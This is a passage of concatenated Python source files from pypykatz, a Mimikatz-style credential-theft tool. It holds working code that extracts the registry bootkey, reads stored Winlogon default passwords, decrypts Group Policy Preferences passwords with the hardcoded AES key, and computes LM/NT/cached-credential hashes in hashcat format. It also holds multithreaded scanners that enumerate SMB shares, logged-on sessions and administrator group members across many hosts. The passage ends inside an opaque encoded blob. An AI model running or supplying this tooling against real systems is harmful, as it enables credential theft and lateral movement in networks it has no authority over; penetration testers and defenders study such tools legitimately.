155 nl.UPN = int.from_bytes(buff.read(2), 'little', signed = False)
156 nl.IV = buff.read(16)
157 nl.CH = buff.read(16)
158 nl.EncryptedData = buff.read()
159
160 return nl
161
162 def __str__(self):
163 t = '== NL_RECORD ==\r\n'
164 for k in self.__dict__:
165 if isinstance(self.__dict__[k], list):
166 for i, item in enumerate(self.__dict__[k]):
167 t += ' %s: %s: %s' % (k, i, str(item))
168 else:
169 t += '%s: %s \r\n' % (k, str(self.__dict__[k]))
170 return t
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 #####
7 from pypykatz.registry import logger
8
9
10 class SOFTWARE:
11 def __init__(self, sam_hive, bootkey):
12 self.hive = sam_hive
13 self.bootkey = bootkey
14 self.default_logon_user = None
15 self.default_logon_domain = None
16 self.default_logon_password = None
17
18 def get_default_logon(self):
19 if self.default_logon_user is None:
20 try:
21 data = self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultUserName')[1]
22 except:
23 pass
24 else:
25 if isinstance(data, bytes):
26 self.default_logon_user = data.decode('utf-16-le').split('\x00')[0]
27 else:
28 self.default_logon_user = data
29
30 if self.default_logon_domain is None:
31 try:
32 data = self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultDomainName')[1]
33 except:
34 pass
35 else:
36 if isinstance(data, bytes):
37 self.default_logon_domain = data.decode('utf-16-le')
38 else:
39 self.default_logon_domain = data
40
41 if self.default_logon_password is None:
42 try:
43 data = self.hive.get_value(r'Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultPassword')[1]
44 except:
45 pass
46 else:
47 if isinstance(data, bytes):
48 self.default_logon_password = data.decode('utf-16-le')
49 else:
50 self.default_logon_password = data
51
52 return self.default_logon_user
53
54 def to_dict(self):
55 t = {}
56 t['default_logon_user'] = self.default_logon_user
57 t['default_logon_domain'] = self.default_logon_domain
58 t['default_logon_password'] = self.default_logon_password
59 return t
60
61 def __str__(self):
62 t = '============== SOFTWARE hive secrets ==============\r\n'
63 t += 'default_logon_user: %s\r\n' % self.default_logon_user
64 return t
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5 from pypykatz.registry import logger
6 from pypykatz.commons.common import hexdump
7
8 #
9 # The SYSTEM hive holds the BootKey, which is used as an initial key to decrypt everything in the registry.
10 # Without having the BootKey no decryption can be performed on any of the secrets,
11 # therefore it is mandatory to supply this hive.
12 #
13 # The way to obtain the BootKey is quite straightforward.
14 # First, we need to determine the current controlset (when the machine is running you find that available directly, but not when the hive was taken from a powered down machine)
15 # Second, the BootKey is obfuscated and scattered in the Class attribute of 4 different registry keys.
16 # we read the Class attribute of these keys and de-obfuscate the key
17 #
18
19 class SYSTEM:
20 def __init__(self, system_hive):
21 self.hive = system_hive
22 self.currentcontrol = None
23 self.bootkey = None
24
25 def get_currentcontrol(self):
26 logger.debug('[SYSTEM] determining current control set')
27 if self.currentcontrol is not None:
28 return self.currentcontrol
29
30 ccs = self.hive.get_value('Select\\Current')[1]
31 self.currentcontrol = "ControlSet%03d" % ccs
32 logger.debug('[SYSTEM] current control set name: %s' % self.currentcontrol)
33 return self.currentcontrol
34
35 def get_bootkey(self):
36 logger.debug('[SYSTEM] get_bootkey invoked')
37 if self.bootkey is not None:
38 return self.bootkey
39 if self.currentcontrol is None:
40 self.get_currentcontrol()
41
42 transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
43 bootkey_obf = ''
44 for key in ['JD', 'Skew1', 'GBG', 'Data']:
45 bootkey_obf += self.hive.get_class('%s\\Control\\Lsa\\%s' % (self.currentcontrol, key))
46
47 bootkey_obf = bytes.fromhex(bootkey_obf)
48 self.bootkey = b''
49 for i in range(len(bootkey_obf)):
50 self.bootkey += bootkey_obf[transforms[i]:transforms[i] + 1]
51
52 logger.debug('[SYSTEM] bootkey: %s' % self.bootkey.hex())
53 return self.bootkey
54
55 def get_secrets(self):
56 self.get_currentcontrol()
57 self.get_bootkey()
58
59 def to_dict(self):
60 t = {}
61 t['CurrentControlSet'] = self.currentcontrol
62 t['BootKey'] = self.bootkey
63 return t
64
65 def __str__(self):
66 t = '============== SYSTEM hive secrets ==============\r\n'
67 t += 'CurrentControlSet: %s\r\n' % self.currentcontrol
68 t += 'Boot Key: %s\r\n' % self.bootkey.hex()
69 return t
(New empty file)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import os
7 import json
8 import glob
9 import ntpath
10 import traceback
11
12 from pypykatz import logging
13 from pypykatz.commons.common import UniversalEncoder
14
15
16
17 class RemoteCMDHelper:
18 def __init__(self):
19 self.live_keywords = ['share','session','localgroup']
20 self.keywords = [] #['remote'] no yet implemented
21
22 def add_args(self, parser, live_parser):
23 live_group = live_parser.add_parser('share', help='Remote share relted operations')
24 live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
25 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
26 live_group.add_argument('cmd', choices=['enum'])
27 live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line')
28 live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
29 live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
30 live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
31
32 live_group = live_parser.add_parser('session', help='Remote user sessions related operations')
33 live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
34 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
35 live_group.add_argument('cmd', choices=['enum'])
36 live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line')
37 live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
38 live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
39 live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
40
41 live_group = live_parser.add_parser('localgroup', help='Remote localgroup related operations')
42 live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
43 live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
44 live_group.add_argument('cmd', choices=['enum'])
45 live_group.add_argument('-f', '--target-file', help = 'Targets file, one per line')
46 live_group.add_argument('-t', '--target', action='append', help = 'Target to check. Stackable.')
47 live_group.add_argument('--timeout', type=int, help = 'Pre-check timeout.')
48 live_group.add_argument('--disable-pre-check', action='store_true',help = 'Disables pre-check to see if the remote destination is alive. Will make enumeration take years!')
49 live_group.add_argument('-g', '--group', action='append', help = 'Localgroup name to look for. Stackable.')
50
51
52 #group = parser.add_parser('registry', help='Get secrets from registry files')
53 #group.add_argument('system', help='path to the SYSTEM registry hive')
54 #group.add_argument('--sam', help='path to the SAM registry hive')
55 #group.add_argument('--security', help='path to the SECURITY registry hive')
56 #group.add_argument('--software', help='path to the SOFTWARE registry hive')
57 #group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)')
58 #group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format')
59
60 def execute(self, args):
61 if len(self.keywords) > 0 and args.command in self.keywords:
62 self.run(args)
63
64 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
65 self.run_live(args)
66
67 def process_results(self, results, args):
68 pass
69
70 def run_live(self, args):
71 if args.module == 'share':
72 if args.cmd == 'enum':
73 from pypykatz.remote.live.share.enumerator import ShareEnumerator
74
75 se = ShareEnumerator()
76 if args.target_file:
77 se.load_targets_file(args.target_file)
78
79 if args.target:
80 se.load_tagets(args.target)
81
82 if len(se.hosts) == 0:
83 raise Exception('No targets loaded!')
84
85 if args.timeout:
86 se.timeout = args.timeout
87
88 se.pre_check = True
89 if args.disable_pre_check:
90 se.pre_check = False
91
92 se.to_json = args.json
93 if args.outfile:
94 se.out_file = args.outfile
95
96
97 se.run()
98
99 elif args.module == 'session':
100 if args.cmd == 'enum':
101 from pypykatz.remote.live.session.enumerator import SessionMonitor
102
103 se = SessionMonitor()
104 if args.target_file:
105 se.load_targets_file(args.target_file)
106
107 if args.target:
108 se.load_tagets(args.target)
109
110 if len(se.hosts) == 0:
111 raise Exception('No targets loaded!')
112
113 if args.timeout:
114 se.timeout = args.timeout
115
116 se.pre_check = True
117 if args.disable_pre_check:
118 se.pre_check = False
119
120 se.to_json = args.json
121 if args.outfile:
122 se.out_file = args.outfile
123
124 se.run()
125
126 elif args.module == 'localgroup':
127 if args.cmd == 'enum':
128 from pypykatz.remote.live.localgroup.enumerator import LocalGroupEnumerator
129
130 se = LocalGroupEnumerator()
131 if args.target_file:
132 se.load_targets_file(args.target_file)
133
134 if args.target:
135 se.load_tagets(args.target)
136
137 if len(se.hosts) == 0:
138 raise Exception('No targets loaded!')
139
140 if args.timeout:
141 se.timeout = args.timeout
142
143
144 se.groups = ['Remote Desktop Users','Administrators','Distributed COM Users']
145 if args.group:
146 se.groups = args.group
147
148 se.pre_check = True
149 if args.disable_pre_check:
150 se.pre_check = False
151
152 se.to_json = args.json
153 if args.outfile:
154 se.out_file = args.outfile
155
156 se.run()
157
158 def run(self, args):
159 pass
160
0 import socket
1
2 def is_port_up(ip, port, timeout = 1, throw = False):
3 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
4 s.settimeout(timeout)
5 try:
6 s.connect((ip, int(port)))
7 s.shutdown(socket.SHUT_RDWR)
8 return True
9 except Exception as e:
10 if throw is True:
11 raise e
12 return False
13 finally:
14 s.close()
0 import json
1 from threading import Thread
2 from multiprocessing import Process, Queue
3 from pypykatz import logger
4
5 from pypykatz.commons.winapi.local.function_defs.netapi32 import NetLocalGroupGetMembers
6 from pypykatz.remote.live.common.common import is_port_up
7 from pypykatz.commons.common import UniversalEncoder
8
9
10 class LocalGroupEnumThread(Thread):
11 def __init__(self, inQ, outQ, groups = ['Remote Desktop Users','Administrators','Distributed COM Users'], timeout = 1, pre_check = True):
12 Thread.__init__(self)
13 self.inQ = inQ
14 self.outQ = outQ
15 self.timeout = timeout
16 self.pre_check = pre_check
17 self.groups = groups
18
19 def run(self):
20 while True:
21 target = self.inQ.get()
22 if not target:
23 break
24 if self.pre_check is True:
25 if is_port_up(target, 445, timeout = self.timeout) is False:
26 continue
27 try:
28 for groupname in self.groups:
29 for group in NetLocalGroupGetMembers(target, groupname, level=2):
30 self.outQ.put((target, groupname, group))
31 except Exception as e:
32 logger.debug('LocalGroupEnumThread error: %s' % str(e))
33 continue
34
35 class LocalGroupEnumProc(Process):
36 def __init__(self, inQ, outQ, threadcnt, groups, timeout = 1, pre_check = True):
37 Process.__init__(self)
38 self.inQ = inQ
39 self.outQ = outQ
40 self.threadcnt = threadcnt
41 self.threads = []
42 self.timeout = timeout
43 self.pre_check = pre_check
44 self.groups = groups
45
46 def run(self):
47 for i in range(self.threadcnt):
48 t = LocalGroupEnumThread(self.inQ, self.outQ, groups = self.groups, timeout = self.timeout, pre_check = self.pre_check)
49 t.daemon = True
50 t.start()
51 self.threads.append(t)
52 for t in self.threads:
53 t.join()
54
55 class LGResProc(Process):
56 def __init__(self, outQ, out_file = None, to_json = False):
57 Process.__init__(self)
58 self.outQ = outQ
59 self.results = {}
60 self.out_file = out_file
61 self.to_json = to_json
62
63 def setup(self):
64 return
65
66 def run(self):
67 self.setup()
68 while True:
69 result = self.outQ.get()
70 if not result:
71 break
72
73 target, groupname, group = result
74
75
76 if self.to_json is True:
77 if target not in self.results:
78 self.results[target] = []
79 self.results[target].append([groupname, group.to_dict()])
80
81 else:
82 result = '%s %s %s %s %s' % (target, groupname, group.domain, group.username, str(group.sid))
83 if self.out_file is not None:
84 if target not in self.results:
85 self.results[target] = []
86 self.results[target].append(result)
87 else:
88 print(result)
89
90 if self.out_file is None and self.to_json is False:
91 return
92
93 logger.info('Writing results...')
94 if self.out_file is not None:
95 with open(self.out_file,'w', newline = '') as f:
96 if self.to_json is True:
97 f.write(json.dumps(self.results, cls = UniversalEncoder, indent=4, sort_keys=True))
98 else:
99 for target in self.results:
100 for res in self.results[target]:
101 f.write( '%s %s\r\n' % (target, res))
102 else:
103 print(json.dumps(self.results, cls = UniversalEncoder, indent=4, sort_keys=True))
104
105
106 class LocalGroupEnumerator:
107 def __init__(self):
108 self.hosts = []
109 self.inQ = Queue()
110 self.outQ = Queue()
111 self.agents = []
112 self.result_process = None
113
114 self.agent_proccnt = 4
115 self.agent_threadcnt = 4
116
117 self.timeout = 1
118 self.pre_check = True
119 self.out_file = None
120 self.to_json = False
121
122 self.groups = ['Remote Desktop Users','Administrators','Distributed COM Users']
123
124
125 def load_targets_ldap(self, ldap):
126 ldap_filter = r'(&(sAMAccountType=805306369))'
127
128 attributes = ['sAMAccountName']
129 for entry in ldap.pagedsearch(ldap_filter, attributes):
130 self.hosts.append(entry['attributes']['sAMAccountName'][:-1])
131
132 def load_targets_file(self, filename):
133 with open(filename,'r') as f:
134 for line in f:
135 line=line.strip()
136 if line == '':
137 continue
138 self.hosts.append(line)
139
140 def load_tagets(self, targets):
141 self.hosts += targets
142
143 def run(self):
144 self.result_process = LGResProc(self.outQ, out_file = self.out_file, to_json = self.to_json)
145 self.result_process.daemon = True
146 self.result_process.start()
147
148 for i in range(self.agent_proccnt):
149 p = LocalGroupEnumProc(self.inQ, self.outQ, self.agent_threadcnt, groups = self.groups, timeout = self.timeout, pre_check = self.pre_check)
150 p.daemon = True
151 p.start()
152 self.agents.append(p)
153
154 logger.info('=== Enumerating local groups ===')
155 for t in self.hosts:
156 self.inQ.put(t)
157
158 for a in self.agents:
159 for i in range(self.agent_threadcnt):
160 self.inQ.put(None)
161
162 for a in self.agents:
163 a.join()
164
165 self.outQ.put(None)
166 self.result_process.join()
167
0
1 import json
2 from threading import Thread
3 from multiprocessing import Process, Queue
4 from pypykatz import logger
5
6 from pypykatz.commons.winapi.local.function_defs.netapi32 import NetSessionEnum
7 from pypykatz.remote.live.common.common import is_port_up
8 from pypykatz.commons.common import UniversalEncoder
9
10
11 class SessMonThread(Thread):
12 def __init__(self, inQ, outQ, timeout = 1, pre_check = True):
13 Thread.__init__(self)
14 self.inQ = inQ
15 self.outQ = outQ
16 self.timeout = timeout
17 self.pre_check = pre_check
18
19 def run(self):
20 while True:
21 target = self.inQ.get()
22 if not target:
23 break
24 if self.pre_check is True:
25 if is_port_up(target, 445, timeout = self.timeout) is False:
26 continue
27
28 try:
29 for share in NetSessionEnum(target, level=1):
30 self.outQ.put((target, share))
31 except Exception as e:
32 logger.debug('SessionMonitor error: %s' % str(e))
33 continue
34
35 class SessMonProc(Process):
36 def __init__(self, inQ, outQ, threadcnt, timeout = 1, pre_check = True):
37 Process.__init__(self)
38 self.inQ = inQ
39 self.outQ = outQ
40 self.threadcnt = threadcnt
41 self.threads = []
42 self.timeout = timeout
43 self.pre_check = pre_check
44
45 def run(self):
46 for i in range(self.threadcnt):
47 t = SessMonThread(self.inQ, self.outQ, timeout = self.timeout, pre_check = self.pre_check)
48 t.daemon = True
49 t.start()
50 self.threads.append(t)
51 for t in self.threads:
52 t.join()
53
54 class SMResProc(Process):
55 def __init__(self, outQ, out_file = None, to_json = False):
56 Process.__init__(self)
57 self.outQ = outQ
58 self.results = {}
59 self.out_file = out_file
60 self.to_json = to_json
61
62 def setup(self):
63 return
64
65 def run(self):
66 self.setup()
67 while True:
68 result = self.outQ.get()
69 if not result:
70 break
71
72 target, session = result
73 if self.to_json is True:
74 if target not in self.results:
75 self.results[target] = []
76 self.results[target].append(session.to_dict())
77
78 else:
79 ip = session.computername.replace('\\\\','')
80 result = '%s %s %s' % (target, ip, session.username)
81 if self.out_file is not None:
82 if target not in self.results:
83 self.results[target] = []
84 self.results[target].append(result)
85 else:
86 print(result)
87
88 if self.out_file is None and self.to_json is False:
89 return
90
91 logger.info('Writing results...')
92 if self.out_file is not None:
93 with open(self.out_file,'w', newline = '') as f:
94 if self.to_json is True:
95 f.write(json.dumps(self.results, cls = UniversalEncoder, indent=4, sort_keys=True))
96 else:
97 for target in self.results:
98 for res in self.results[target]:
99 f.write( '%s %s\r\n' % (target, res))
100 else:
101 print(json.dumps(self.results, cls = UniversalEncoder, indent=4, sort_keys=True))
102
103
104 class SessionMonitor:
105 def __init__(self):
106 self.hosts = []
107 self.inQ = Queue()
108 self.outQ = Queue()
109 self.agents = []
110 self.result_process = None
111
112 self.agent_proccnt = 4
113 self.agent_threadcnt = 4
114
115 self.timeout = 1
116 self.pre_check = True
117 self.out_file = None
118 self.to_json = False
119
120
121 def load_targets_ldap(self, ldap):
122 ldap_filter = r'(&(sAMAccountType=805306369))'
123
124 attributes = ['sAMAccountName']
125 for entry in ldap.pagedsearch(ldap_filter, attributes):
126 self.hosts.append(entry['attributes']['sAMAccountName'][:-1])
127
128 def load_targets_file(self, filename):
129 with open(filename,'r') as f:
130 for line in f:
131 line=line.strip()
132 if line == '':
133 continue
134 self.hosts.append(line)
135
136 def load_tagets(self, targets):
137 self.hosts += targets
138
139 def run(self):
140 self.result_process = SMResProc(self.outQ, out_file = self.out_file, to_json = self.to_json)
141 self.result_process.daemon = True
142 self.result_process.start()
143
144 for i in range(self.agent_proccnt):
145 p = SessMonProc(self.inQ, self.outQ, self.agent_threadcnt, timeout = self.timeout, pre_check = self.pre_check)
146 p.daemon = True
147 p.start()
148 self.agents.append(p)
149
150 logger.info('=== Polling sessions ===')
151 for t in self.hosts:
152 self.inQ.put(t)
153
154 for a in self.agents:
155 for i in range(self.agent_threadcnt):
156 self.inQ.put(None)
157
158 for a in self.agents:
159 a.join()
160
161 self.outQ.put(None)
162 self.result_process.join()
163
0 import json
1 from threading import Thread
2 from multiprocessing import Process, Queue
3 from pypykatz import logger
4
5 from pypykatz.commons.winapi.local.function_defs.netapi32 import NetShareEnum
6 from pypykatz.remote.live.common.common import is_port_up
7 from pypykatz.commons.common import UniversalEncoder
8
9
10 class ShareEnumThread(Thread):
11 def __init__(self, inQ, outQ, timeout = 1, pre_check = True):
12 Thread.__init__(self)
13 self.inQ = inQ
14 self.outQ = outQ
15 self.timeout = timeout
16 self.pre_check = pre_check
17
18 def run(self):
19 while True:
20 target = self.inQ.get()
21 if not target:
22 break
23 if self.pre_check is True:
24 try:
25 if is_port_up(target, 445, timeout = self.timeout, throw = True) is False:
26 continue
27 except Exception as e:
28 self.outQ.put((target, None, str(e)))
29 continue
30
31 try:
32 for share in NetShareEnum(target, level=1):
33 self.outQ.put((target, share, None))
34 except Exception as e:
35 logger.debug('ShareEnumerator error: %s' % str(e))
36 continue
37
38 class ShareEnumProc(Process):
39 def __init__(self, inQ, outQ, threadcnt, timeout = 1, pre_check = True):
40 Process.__init__(self)
41 self.inQ = inQ
42 self.outQ = outQ
43 self.threadcnt = threadcnt
44 self.threads = []
45 self.timeout = timeout
46 self.pre_check = pre_check
47
48 def run(self):
49 for i in range(self.threadcnt):
50 t = ShareEnumThread(self.inQ, self.outQ, timeout = self.timeout, pre_check = self.pre_check)
51 t.daemon = True
52 t.start()
53 self.threads.append(t)
54 for t in self.threads:
55 t.join()
56
57 class SMResProc(Process):
58 def __init__(self, outQ, out_file = None, to_json = False):
59 Process.__init__(self)
60 self.outQ = outQ
61 self.results = {}
62 self.errors = {}
63 self.out_file = out_file
64 self.to_json = to_json
65
66 def setup(self):
67 return
68
69 def run(self):
70 self.setup()
71 while True:
72 result = self.outQ.get()
73 if not result:
74 break
75
76 target, share, err = result
77 if err is not None:
78 if self.to_json is False and self.out_file is None:
79 print('%s : %s' % (target, str(err)))
80
81 else:
82 self.errors[target] = err
83
84 continue
85
86
87 if self.to_json is True:
88 if target not in self.results:
89 self.results[target] = []
90 self.results[target].append(share.to_dict())
91
92
93 else:
94 result = '%s %s %s %s %s' % (target, share.netname, share.type, share.remark, share.passwd)
95 if self.out_file is not None:
96 if target not in self.results:
97 self.results[target] = []
98 self.results[target].append(result)
99 else:
100 print(result)
101
102 if self.out_file is None and self.to_json is False:
103 #print already heppened
104 return
105
106 logger.info('Writing results...')
107 if self.out_file is not None:
108 with open(self.out_file,'w', newline = '') as f:
109 if self.to_json is True:
110 f.write(json.dumps({'results' : self.results, 'errors': self.errors}, cls = UniversalEncoder, indent=4, sort_keys=True))
111 else:
112 for target in self.results:
113 for res in self.results[target]:
114 f.write( '%s %s\r\n' % (target, res))
115 for target in self.errors:
116 f.write( '%s %s\r\n' % (target, self.errors[target]))
117 else:
118 print(json.dumps({'results' : self.results, 'errors': self.errors}, cls = UniversalEncoder, indent=4, sort_keys=True))
119
120
121 class ShareEnumerator:
122 def __init__(self):
123 self.hosts = []
124 self.inQ = Queue()
125 self.outQ = Queue()
126 self.agents = []
127 self.result_process = None
128
129 self.agent_proccnt = 4
130 self.agent_threadcnt = 4
131
132 self.timeout = 1
133 self.pre_check = True
134 self.out_file = None
135 self.to_json = False
136
137
138 def load_targets_ldap(self, ldap):
139 ldap_filter = r'(&(sAMAccountType=805306369))'
140
141 attributes = ['sAMAccountName']
142 for entry in ldap.pagedsearch(ldap_filter, attributes):
143 self.hosts.append(entry['attributes']['sAMAccountName'][:-1])
144
145 def load_targets_file(self, filename):
146 with open(filename,'r') as f:
147 for line in f:
148 line=line.strip()
149 if line == '':
150 continue
151 self.hosts.append(line)
152
153 def load_tagets(self, targets):
154 self.hosts += targets
155
156 def run(self):
157 self.result_process = SMResProc(self.outQ, out_file = self.out_file, to_json = self.to_json)
158 self.result_process.daemon = True
159 self.result_process.start()
160
161 for i in range(self.agent_proccnt):
162 p = ShareEnumProc(self.inQ, self.outQ, self.agent_threadcnt, timeout = self.timeout, pre_check = self.pre_check)
163 p.daemon = True
164 p.start()
165 self.agents.append(p)
166
167 logger.info('=== Enumerating shares ===')
168 for t in self.hosts:
169 self.inQ.put(t)
170
171 for a in self.agents:
172 for i in range(self.agent_threadcnt):
173 self.inQ.put(None)
174
175 for a in self.agents:
176 a.join()
177
178 self.outQ.put(None)
179 self.result_process.join()
180
(New empty file)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 class CryptoCMDHelper:
7 def __init__(self):
8 self.live_keywords = []
9 self.keywords = ['nt','lm','dcc','dcc2','gppass']
10
11 def add_args(self, parser, live_parser):
12 group = parser.add_parser('nt', help='Generates NT hash of the password')
13 group.add_argument('password', help= 'Password to be hashed')
14
15 group = parser.add_parser('lm', help='Generates LM hash of the password')
16 group.add_argument('password', help= 'Password to be hashed')
17
18 group = parser.add_parser('dcc', help='Generates DCC v1 (domain cached credentials version 1) hash of the password')
19 group.add_argument('username', help= 'username')
20 group.add_argument('password', help= 'Password to be hashed')
21
22 group = parser.add_parser('dcc2', help='Generates DCC v2 (domain cached credentials version 2) hash of the password')
23 group.add_argument('username', help= 'username')
24 group.add_argument('password', help= 'Password to be hashed')
25 group.add_argument('-i','--iteration-count', type = int, default=10240, help= 'iteration-count')
26
27 group = parser.add_parser('gppass', help='Decrypt GP passwords')
28 group.add_argument('enc', help='Encrypted password string')
29
30 def execute(self, args):
31 if args.command in self.keywords:
32 self.run(args)
33 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
34 self.run_live(args)
35
36 def run(self, args):
37 from pypykatz.utils.crypto.winhash import NT, LM, MSDCC, MSDCCv2
38 from pypykatz.utils.crypto.gppassword import gppassword
39 if args.command == 'nt':
40 print(NT(args.password).hex())
41
42 elif args.command == 'lm':
43 print(LM(args.password).hex())
44
45 elif args.command == 'dcc':
46 print(MSDCC(args.username, args.password).hex())
47
48 elif args.command == 'dcc2':
49 print(MSDCCv2(args.username, args.password, args.iteration_count).hex())
50
51 elif args.command == 'gppass':
52 print(gppassword(args.enc))
53
0
1 import base64
2 from pypykatz.crypto.unified.aes import AES
3 from pypykatz.crypto.unified.common import SYMMETRIC_MODE
4 from pypykatz.crypto.unified.pkcs7 import unpad as pkcs7_unpad
5
6
7 def gppassword(pw_enc_b64):
8 AES_KEY = b'\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b'
9 AES_IV = b'\x00'*16
10
11 pad = len(pw_enc_b64) % 4
12 if pad == 1:
13 pw_enc_b64 = pw_enc_b64[:-1]
14 elif pad == 2 or pad == 3:
15 pw_enc_b64 += '=' * (4 - pad)
16
17 pw_enc = base64.b64decode(pw_enc_b64)
18
19 ctx = AES(AES_KEY, mode = SYMMETRIC_MODE.CBC, iv = AES_IV)
20 pw_dec = pkcs7_unpad(ctx.decrypt(pw_enc))
21
22 return pw_dec.decode('utf-16-le')
23
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import hashlib
7 from pypykatz.crypto.unified.des import DES, expand_DES_key
8 from pypykatz.crypto.unified.pbkdf2 import pbkdf2
9
10 def LM(password):
11 if password is None:
12 return bytes.fromhex('aad3b435b51404eeaad3b435b51404ee')
13 LM_SECRET = b'KGS!@#$%'
14 password_uppercase = password.upper()
15 password_uppercase_bytes = password_uppercase.encode('ascii')
16 password_uppercase_bytes_padded = password_uppercase_bytes.ljust(14, b'\x00')
17 password_chunk_1 = password_uppercase_bytes_padded[0:7]
18 password_chunk_2 = password_uppercase_bytes_padded[7:]
19 des_chunk_1 = DES(expand_DES_key(password_chunk_1))
20 des_chunk_2 = DES(expand_DES_key(password_chunk_2))
21 des_first_half = des_chunk_1.encrypt(LM_SECRET)
22 des_second_half = des_chunk_2.encrypt(LM_SECRET)
23 lm_hash = des_first_half + des_second_half
24
25 return lm_hash
26
27 def NT(password):
28 if password is None:
29 return bytes.fromhex('31d6cfe0d16ae931b73c59d7e0c089c0')
30 password_bytes = password.encode('utf-16-le')
31 md4 = hashlib.new('md4')
32 md4.update(password_bytes)
33 nt_hash = md4.digest()
34 return nt_hash
35
36 def MSDCC(username, password):
37 nt_hash_of_password = NT(password)
38 username_lower = username.lower()
39 username_bytes = username_lower.encode('utf-16-le')
40 md4 = hashlib.new('md4')
41 md4.update(nt_hash_of_password)
42 md4.update(username_bytes)
43 dcc = md4.digest()
44 return dcc
45
46 def MSDCCv2(username, password, iterations = 10240):
47 #The iteration count is by default 10240 but it depends on the HKEY_LOCAL_MACHINE\SECURITY\Cache\NL$IterationCount key value.
48 msdcc_hash = MSDCC(username, password)
49 username_lower = username.lower()
50 username_bytes = username_lower.encode('utf-16-le')
51 msdcc_v2 = pbkdf2(msdcc_hash, username_bytes, iterations, 16)
52 hashcat_format = '$DCC2$%s#%s#%s' % (iterations, username, msdcc_v2.hex())
53
54 return msdcc_v2
0 import zlib
1 import base64
2
3 class Sake:
4 def __init__(self):
5 self.pic_comp = 'eJy1WTuS7SgMze8qnFNAzh5gDQoISCgCInY/R8LY+Dt9b81Q1f3aBnOEPkcS77P8z+PzOkultpTi/UgptaJ/BtDOLIvzVRtj6HYYo5Wvy2K0pu8Bivc+xOTVq3ja5xiwMn0PUH1zpWWgNHUvoLYtB59TscrH7wGKL/hN5EoKAnKYNbx5iNUaxna/nIABqLSqnDa6pBxyFrOyyTM2T8UZ7RRWGCjqRwDnAxTMkirnFPSViy3Jh8SPNfKkD7LuBwAL/4AJdfRRtdT1oQt8tjonB4qtNB9shRtY374H0DCcww+V0OCRtsGe8FvCVOQzwPAqNANnKDjti689AZAPAsBnSZA4NmvGlGP1xOYrdVUm774HWLI3ALB9L4VY0xae5Age5PhIPJGrbQAInn4AaN5SZE07Q4bVHt1iWpTfOVZ+q1WDR2nj8/P+zwBsOVp3YXdpUHquxD+wC9wnN8UoeM188T0AhQAvj5k3954FT8Hiveaj6CRvQRSpqvxmgicACJ7BRa1YB08MhRYLZXTkhEey2SfMsZIw7cz9NvcAbMAIw2rhAegj6YVqiFnx82JxqmRgCfZSzBvd19t7yjoBENPC4BgeOgbsK79tV04u5HKGtmzg3/0zuAE8orgrxgHAYFU6kqcpqSkVspPD5JhFbAR4tTXVAwUam3Ku5ww0AegW4l2GQhgnM/5c56mlOxYHRkhHk28A0HW210++Hi5125wBKEnk97+dmpaQKtsTWXP3mic24QgKnfSwAhAYrGjJtGJm6JJIjFdhFiYinioxRZ6Q11B4c93R2HY9ugkP8OBszgDIkNgpSjpJYB7X+GF9Eiskpmq9GCV/wQKQuuW+CouYcOUJu9TiIx0BwPzE0eWcG6YjfnC7IWnz3P2vsciMCb0+tJ3AO8Ar4f4wwDNDiE8/wEtZ8NOo2xE+x8f/auwiCwCSy1+/pD+u27ZkgPeMMe9eWmvV9lLyfWn1dgdwb1XBtL1C/aIcKhcpfUHlLzWpksJtBbDj4XlvyZrVoZQUf0bdqy1Ko9yeqms30txH0J5tzMkeNTwUA3Et57Z5FvyY7s23VXsMUIa+rqMcNaHtFC/E9OOQKW4FG5IwQPVPB7XZ2KuEuhMbZVYX8k6jy5JlmQHaI0BK129t9Lmfw/WTowy4+T7kGeAxDBT7ZYUNWuuldd6TEg1PobpT/Q4QdoB0AoA/7jJBA/uMbiNfaZVy3QziZoL+VwATfcn7riYNJ3YpypYGxUo72MahEDup6QUA+y959sb+qY0oX1jy4OOJe4lbrRNC8E8AFnX1RWvwp6RZLQkGQSkZ6jxfPbpRHw6fPAM0DhE75aSFvT1i3zZSNQr4MNnVSXyXI+E8AyRZGP3soVDPqagyaeubCOUrK88fqvijDWb1VeFWWDq+crjyQyy01Mw75A9y+kcASCJlHLq9RwZZWJNDYMV9LpqSvwLwEWj9MD2EOKoOv1MwqhZu2P8MQEP/pgaIdtoaxTQKJ7DqfDzSlfsImgEmI8cTF5ns10g2